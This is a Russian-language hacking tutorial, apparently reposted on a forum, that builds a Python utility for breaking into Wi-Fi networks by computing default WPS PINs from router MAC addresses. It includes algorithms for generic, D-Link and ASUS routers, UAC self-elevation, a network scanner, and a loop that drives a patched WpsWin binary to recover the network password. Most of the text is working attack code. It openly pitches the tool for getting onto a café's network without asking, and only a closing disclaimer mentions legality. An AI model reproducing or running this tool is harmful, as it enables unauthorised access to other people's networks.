Полезные знания Python для хакера: пишем утилиту для взлома Wi-Fi

[DOMINUS_EDEM]

Бывает, что возникает необходимость подключиться к Wi-Fi, не зная пароль, — скажем, когда ты сидишь в кафе и стесняешься спросить его или, например, когда тебя наняли, чтобы провести пентест сети организации. Технология WPS уже давно помогает хакерам и в том и в другом. В этой статье мы посмотрим, как самостоятельно реализовать атаку, основанную на слабостях алгоритмов генерации WPS PIN.

Большинство современных роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который позволяет за секунды установить безопасное соединение между устройством и роутером, минуя этап настройки шифрования и ввода пароля. Устройства подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр. Восьмая цифра — дайджест.

Из всего разнообразия методов поблагодарить соседа взлома беспроводных точек доступа с WPS можно выделить следующие:

• подбор ПИН-кода или ключа безопасности методом грубой силы;
• использование уязвимостей реализации;
• социальная инженерия;
• использование слабостей генерации ПИН-кодов.

В этой статье мы остановимся на последнем методе из списка.

Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.

Откуда берут стандартный PIN

Когда мы покупаем роутер, в нем уже содержится полученный специальным алгоритмом WPS PIN для первичного подключения к маршрутизатору через WPS. WPS PIN состоит из восьми цифр. Как производители его получают? Очевидно, что необходимо нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID.

BSSID (Basic Service Set Identifier) — уникальный идентификатор беспроводной сети. Зачастую BSSID совпадает с адресом устройства Ethernet MAC.

Генерация WPS PIN на примере

Как ты уже понял, все начинается с BSSID. Подключаем к сети нашу точку доступа

Анализируем любым удобным способом (например, Dumpper).

Dumpper внятным языком рассказывает нам о близлежащих беспроводных сетях​

BSSID получен: C4:6E:1F:6A:8D:04.

Настало время приключений: открываем браузер и начинаем бороздить различные (в том числе зарубежные) сайты и форумы, чтобы узнать, как работают алгоритмы генерации ПИН-кодов у конкретного производителя сетевого оборудования. Если же лень сильнее интереса, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.

Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12].

Вот реализация этого алгоритма на Python

from math import floor
MAC = 'C46E1F6A8D04'
One = Two = (int(MAC, 16) & 0xFFFFFF) % 10000000
Var1 = 0
while Two:
  Var1 += 3 * (Two % 10)
  Two = floor(Two / 10)
  Var1 += Two % 10
  Two = floor(Two / 10)
Var2 = (One * 10) + ((10 - (Var1 % 10)) % 10)
Var3 = str(int(Var2))
result = Var3.zfill(8)

Результатом работы скрипта будет ПИН-код 69829161. Проверим его достоверность

Полученный WPS PIN идентичен стандартному (заводскому)

​

Подготовка и требования

Приступим. При разработке собственной утилиты для тестирования беспроводных точек доступа нам потребуется:

• Windows 7 и выше;
• Python 3 и выше;
• удобная IDE;
• любимый браузер;
• личный маршрутизатор Wi-Fi с технологией WPS «для пыток»;
• WpsWin (входит в состав того самого Dumpper);
• IDA и Hex-Rays Tool.

Сразу, забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше.


Автозапуск с правами администратора

Для автозапуска мы будем использовать следующий код:

import ctypes, sys
if ctypes.windll.shell32.IsUserAnAdmin():
  if __name__ == "__main__":
    main()
else:
  ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)

Теперь при попытке запустить скрипт вызов будет передан на UAC (если активен) и откроется новое окно терминала, где наш код выполнится от имени администратора.

Разработка

Прежде всего добавим алгоритм подсчета дайджеста MAC-адреса (он уже был выше):

from math import floor
def checksum(mac):
  mac %= 10000000
  var = 0
  temp = mac
  while temp:
    var += 3 * (temp % 10)
    temp = floor(temp / 10)
    var += temp % 10
    temp = floor(temp / 10)
  return (mac * 10) + ((10 - (var % 10)) % 10)

А также несколько функций генерации заветных ПИН-кодов.

Это далеко не полный список существующих алгоритмов, поэтому оставшиеся варианты будут твоим домашним заданием

def pin24(BSSID):
  temp = int(BSSID,16) & 0xFFFFFF
  temp = checksum(temp)
  temp = str(int(temp))
  return temp.zfill(8)

def pinDLink(BSSID):
  temp = (int(BSSID, 16) & 0xFFFFFF) ^ 0x55AA55
  temp ^= ((temp & 0xF) << 4) | ((temp & 0xF) << 8) | ((temp & 0xF) << 12) | ((temp & 0xF) << 16) | ((temp & 0xF) << 20)
  temp %= 10000000
  if temp < 1000000:
    temp += ((temp % 9) * 1000000) + 1000000
  temp = checksum(temp)
  temp = str(int(temp))
  return temp.zfill(8)

def pinDLinkInc1(BSSID):
  temp = int(BSSID, 16) + 1
  return pinDLink(hex(temp))

def pinASUS(BSSID):
  temp = format(int(BSSID, 16), '02x')
  temp = str(temp).zfill(12)
  var = [int(temp[0:2], 16), int(temp[2:4], 16), int(temp[4:6], 16), int(temp[6:8], 16),
     int(temp[8:10], 16), int(temp[10:12], 16)]
  pin = []
  for i in range(7):
    pin.append((var[i % 6] + var[5]) % (10 - ((i + var[1] + var[2] + var[3] + var[4] + var[5]) % 7)))
  temp = int(''.join(str(i) for i in pin))
  temp = checksum(temp)
  temp = str(int(temp))
  return temp.zfill(8)

 

[DOMINUS_EDEM]

Немного реверса

Разумеется, нужен способ проверить получившиеся ПИН-коды. В этом нам и поможет WpsWin. Эта утилита позволяет подключиться к беспроводной точке доступа посредством технологии WPS. Но какие параметры ей передавать? Расчехляем IDA, подгружаем наш PE и исследуем.

Вот что нам необходимо проделать с исполняемым файлом:

• найти передаваемые аргументы для взаимодействия через командную строку;
• отыскать сообщения об успешных, неудачных и ошибочных результатах подключения;
• пропатчить PE с целью сокращения тайм-аута на подключение к маршрутизатору.

Первая нужная функция находится по адресу 0x004012A0

Вторую можно найти по 0x00403370, а третья — это локальная метка основной функции

Ошибка при невозможности подключения к беспроводной точке доступа

Сообщение о некорректном ключе для подключения
​

По дефолту время тайм-аута соединения с роутером равно девяноста секундам. Мы столько ждать не готовы, поэтому уменьшаем это время до (приблизительно) пяти секунд.

Само значение передается аргументом второй, найденной нами функции

Долой длительное ожидание

Да здравствует маленький тайм-аут!
​

Подключение по WPS
Продолжаем дописывать наш код. Запускаем WpsWin, передавая ему параметры для подключения к конкретной беспроводной сети, после чего благополучно перехватываем вывод и проверяем результат

import subprocess
import sys
from time import sleep

def run_command(cmd):
  p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
  for LINE in iter(p.stdout.readline, b''):
    if LINE:
      yield LINE
  while p.poll() is None:
    sleep(.1)
  err = p.stderr.read()
  if p.returncode != 0:
    print ("" + err)

def connect(ESSID, PIN):
  cmd = 'WpsWin.exe Action=Registrar ESSID="%s" PIN=%s' % (ESSID, str(PIN))
  sleep(1)
  for LINE in run_command(cmd):
    LINE = LINE.decode('cp866')
    if "Asociacion fallida" in LINE:
      print ("Connection with %s hasn't been established!" % ESSID)
      return
    elif "Pin incorrecto" in LINE:
      print("Pin invalid!")
      return
    elif "Wpa Key" in LINE:
      print("\nTRUE PIN FOUND!\nGetting the Wi-Fi password...\n")
      print(LINE)
      sleep(5)
      input()
      sys.exit()

К сожалению, WpsWin не позволяет отобразить список близлежащих сетей с поддержкой WPS, как это делает wash в Linux, а значит, нам остается реализовать эту функцию самим

import re
def main():
  network = 0
  results = run_command("netsh wlan show networks mode=bssid")
  results = [i for i in results]
  ssids = []
  bssids = []
  for line in results:
    line = line.decode('cp866')
    if "BSSID" in line:
      bssids.append(re.sub('BSSID [\d]+:', '', line.strip()).strip())
    elif "SSID" in line:
      ssids.append(re.sub('SSID [\d]+:', '', line.strip()).strip())
  i = 0
  print ("Available wireless networks at the moment:\n")
  for j in ssids:
    i += 1
    print ("%d - %s" % (i, j))
  while (network == "") or (int(network) < 1) or (int(network) > i):
    print
    network = input("\nChoose the wireless network > ")
  network = int(network) - 1
  macbssid = bssids[network].upper()
  mac = macbssid.replace(":", "").replace("-", "").replace(" ", "").replace(".", "")
  wifiname = ssids[network]

Угадываем WPS PIN

Еще несколько десятков кликов по клавиатуре, и код готов

 algos = [pin24, pinDLink, pinDLinkInc1, pinASUS]
  for i in algos:
    pin = i(mac)
    print ("\nTrying connect to %s via %s technique with PIN: %s" % (wifiname,i.__name__,pin))
    connect(wifiname,pin)
    sleep(3)

Тестирование утилиты

Запускаем скрипт из терминала Windows. Выбираем беспроводную сеть.
Профит!

Удивительно, но программа работает

Вознаграждение за труды
​

Дополнительные фичи

Если же тебе, дорогой читатель, захочется модернизировать этот код, то вот несколько интересных идей для реализации.

1. Переписать утилиту с использованием встроенной библиотеки cmd, которая имитирует CLI.
2. Придумать иной способ получения списка беспроводных сетей.
3. Отыскать все возможные алгоритмы генерации WPS PIN у разных производителей.
4. Добавить проверку на наличие у беспроводной точки доступа технологии WPS.
5. Создать счетчик неудачных попыток ассоциации, что поможет выявить вероятную блокировку (Lock) или использование межсетевого экранирования в беспроводной сети.
6. Добавить звуковое оповещение, когда будет найден верный ПИН-код.

Выводы

Что у нас есть по результатам:

• +10 к интеллекту скиллу разработки средств автоматизированного тестирования;
• небольшой список алгоритмов генерации ПИН-кодов;
• работающая утилита тестирования слабостей генерации WPS PIN;
• пароль от беспроводной сети.

Не могу не сказать, что вендоры уже давно знают об этой слабости и в последних обновлениях прошивок проблема, скорее всего, уже исправлена. Хоть иногда я и встречал «современные» точки доступа, где для генерации ПИН-кода был использован MAC, увеличенный (или уменьшенный) на единицу, доля уязвимых устройств с каждым днем все меньше.

Вся информация предоставлена исключительно в ознакомительных целях. Ни я, ни автор данной статьи не несёмт ответственности за любой возможный вред, причиненный информацией из данной статьи. Несанкционированное получение доступа к чужим беспроводным сетям преследуется по закону!
Автором статьи не являюсь.​